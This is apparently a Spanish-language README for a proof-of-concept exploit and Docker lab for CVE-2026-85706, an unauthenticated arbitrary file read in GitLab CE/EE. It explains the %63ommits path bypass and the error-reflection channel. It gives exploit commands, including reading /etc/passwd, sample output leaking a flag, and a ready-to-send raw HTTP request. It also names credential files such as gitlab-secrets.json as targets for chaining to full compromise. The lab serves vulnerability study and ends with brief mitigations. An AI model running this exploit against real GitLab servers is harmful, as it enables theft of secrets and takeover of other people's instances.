
PoC y laboratorio Docker para CVE-2026-85706, una lectura arbitraria de archivos sin autenticación en GitLab CE/EE mediante el bypass de la ruta de la API de commits y el canal de errores urlencoded.
★ PoC de lectura arbitraria de archivos sin autenticación en GitLab CVE-2026-85706 ★
https://github.com/user-attachments/assets/026749ec-04e9-4dd5-9453-cb7c1f6e823d
CVE-2026-85706 es una lectura arbitraria de archivos sin autenticación en GitLab CE/EE (CVSS 10.0, CISA KEV) a través de
POST /api/v4/projects/:id/repository/commits, cuyo helper de carga del cuerpo se ejecuta antes deauthenticate!y leeparams['file.path']como una ruta absoluta sin confinamiento. Codificar en URL un carácter decommits→%63ommitshace que GitLab-Workhorse no reconozca la ruta (por lo que nunca sobrescribefile.path), mientras que Rails sigue decodificando%63 → cy enruta al handler — permitiendo al atacante establecerfile.pathmediante la cadena de consulta. ConContent-Type=application/x-www-form-urlencoded, el helper vuelve a analizar el contenido del archivo y un%no seguido de dos dígitos hexadecimales refleja ese contenido en el cuerpo del400(los archivos que no lo contienen solo ofrecen un oráculo de lectura401). Requiere al menos un proyecto público.
| Categoría | Versión |
|---|---|
| Vulnerables | GitLab CE/EE 18.7 – 19.1.7, 19.2.0 – 19.2.5, 19.3.0 – 19.3.1 |
| Parcheadas | 19.1.8 / 19.2.6 / 19.3.2 o posterior (2026-09-10) |
% inválido (logs de aplicación, y configuraciones/credenciales que incorporan valores codificados en URL) → reconocimiento + robo de credenciales → encadenamiento hacia acceso autenticado / compromiso total de la instanciagitlab-secrets.json, database.yml); nótese que los archivos puramente hex/base64 solo devuelven un oráculo de existencia a través del canal público de reflexión de % (sin byte % inválido que dispare el eco)authenticate! antes del helper de carga del cuerpo, de modo que una petición no autenticada es rechazada antes del sink de lectura de archivosCompila y ejecuta el GitLab CE vulnerable. Al arrancar, el seeder coloca /flag.txt (con un
disparador de fuga % al final) y crea un proyecto público victim/public-app (project id 1) para que la
API de commits sea accesible sin autenticación. El primer arranque tarda ~2–3 minutos.
docker build -t cve-2026-85706 .
docker run -d --name cve-2026-85706 --shm-size 256m -p 8088:80 cve-2026-85706
# wait until the seeder reports it is ready
docker exec cve-2026-85706 tail -n 20 /var/log/seed.log # look for: [seed] SEED_DONE ...
La flag es un marcador de posición (EQST{gitlab_cve_2026_85706_arbitrary_file_read}). Establece la tuya en
tiempo de ejecución sin editar la imagen: docker run -e FLAG='YOUR_FLAG' ... cve-2026-85706.
| Precondición | Estado en este laboratorio |
|---|---|
| GitLab 18.7 – 19.1.7 | 19.1.7-ce.0 |
| Al menos un proyecto público (anónimo alcanza la API de commits) | victim/public-app (id 1), creado automáticamente |
/api/v4/projects/:id/repository/commits accesible sin autenticación | expuesto |
| Flag en el sistema de archivos del servidor | /flag.txt (disparador de reflexión % al final) |
El exploit gitlab_exploit.py lee un archivo del servidor con una única petición sin autenticación,
usando el bypass de ruta de Workhorse %63ommits y el canal de error de reanálisis urlencoded.
Elige el archivo con --read (por defecto /flag.txt).
# default: read /flag.txt and print the flag
python3 gitlab_exploit.py 172.17.0.2
# read any absolute path (content disclosed only if it contains an invalid '%')
python3 gitlab_exploit.py 172.17.0.2 --read /etc/passwd
# just confirm the sink is reachable
python3 gitlab_exploit.py 172.17.0.2 --check
[*] target http://172.17.0.2
[*] endpoint /api/v4/projects/1/repository/%63ommits
[*] file.path /flag.txt
[+] arbitrary file read OK -> content of /flag.txt:
EQST{gitlab_cve_2026_85706_arbitrary_file_read}%
[+] FLAG: EQST{gitlab_cve_2026_85706_arbitrary_file_read}
Opciones:
--read "<abs path>" — ruta absoluta del archivo a leer (por defecto /flag.txt)--project <id> — id del proyecto público accesible sin autenticación (por defecto 1)--check — solo confirma que el sink de lectura de archivos es accesible (espera local file not present)Petición en bruto (para Burp Repeater):
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=/flag.txt&file.size=1&Content-Type=application/x-www-form-urlencoded HTTP/1.1
Host: 172.17.0.2
Content-Length: 0
Connection: close
POST/PUT hacia */repository/commits* y */repository/files* en un proxy/WAF, y coloca la instancia detrás de SSO / VPN / una lista de IP permitidas